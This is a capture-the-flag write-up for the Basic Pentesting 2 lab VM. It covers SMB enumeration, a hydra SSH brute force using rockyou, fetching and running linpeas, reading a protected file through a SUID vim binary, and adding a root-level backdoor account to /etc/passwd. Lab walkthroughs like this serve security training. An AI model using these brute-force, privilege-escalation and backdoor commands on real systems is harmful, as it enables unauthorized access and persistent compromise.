Basic-Pentesting-2

By Lawcky 04/01/24

Introduction

small boot2root VM

Difficulty : easy +

Additionnal info :

Name: Basic Pentesting: 2
Release date: 10 Jul 2018
Author: Josiah Pierce
Series: Basic Pentesting

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• nmap
• nikto
• ffuf
• enum4linux

---

Write-UP

attacking SMB

we know that “J” password is weak, in order to get his username we use the enum4linux
which is a smb enumeration tool

enum4linux 192.168.1.8

“J” is Jan and “K” is kay

---

now we can attack ssh using jan user

sudo hydra -l jan -P /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt ssh://192.168.1.8/ -t 10 -I

we now have shell access to the target
jan:armando

---

Privilege Escalation

found a backup directory in /var/

all belongs to root user

we run linpeas for faster enumeration

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

chmod +x linpeas.sh

.linpeas.sh

---

we can access .ssh directory for the kay user

we cannot add our key to the authorized_keys but we can read it.

i found 2 ways to get kay’s user:
the first one :

Crack his private ssh key using ssh2john but i couldnt use ssh2john (error i dont know how to use it + annoying)

so i wanted to do it another way and looked at the SUID

we cannot read the backup of the password of kay which is on his desktop

yet in the SUID we find this
find / -perm -4000 2>/dev/null

by executing that binairy directly onto the backup file we are able to read it :

/usr/bin/vim.basic pass.bak

kay:heresareallystrongpasswordthatfollowsthepasswordpolicy$$

---

Root Escalation

i found two ways to get root very easily on this machine

the first one is the free one :

kay has all sudo privileges

sudo su

the other can be done even from the jan user, since vim.basic has root SUID you can use it to overide any file on the system including the /etc/shadow and /etc/passwd file

thus we can create our own account and add it :

openssl passwd -1

/usr/bin/vim.basic /etc/passwd

and adding the line

pwn:$1$2Yu25e5L$.p/Zc8VBVgBGHow.fvVlC.:0:0:hacked:/root:/bin/bash

pwn:hacked

got the flag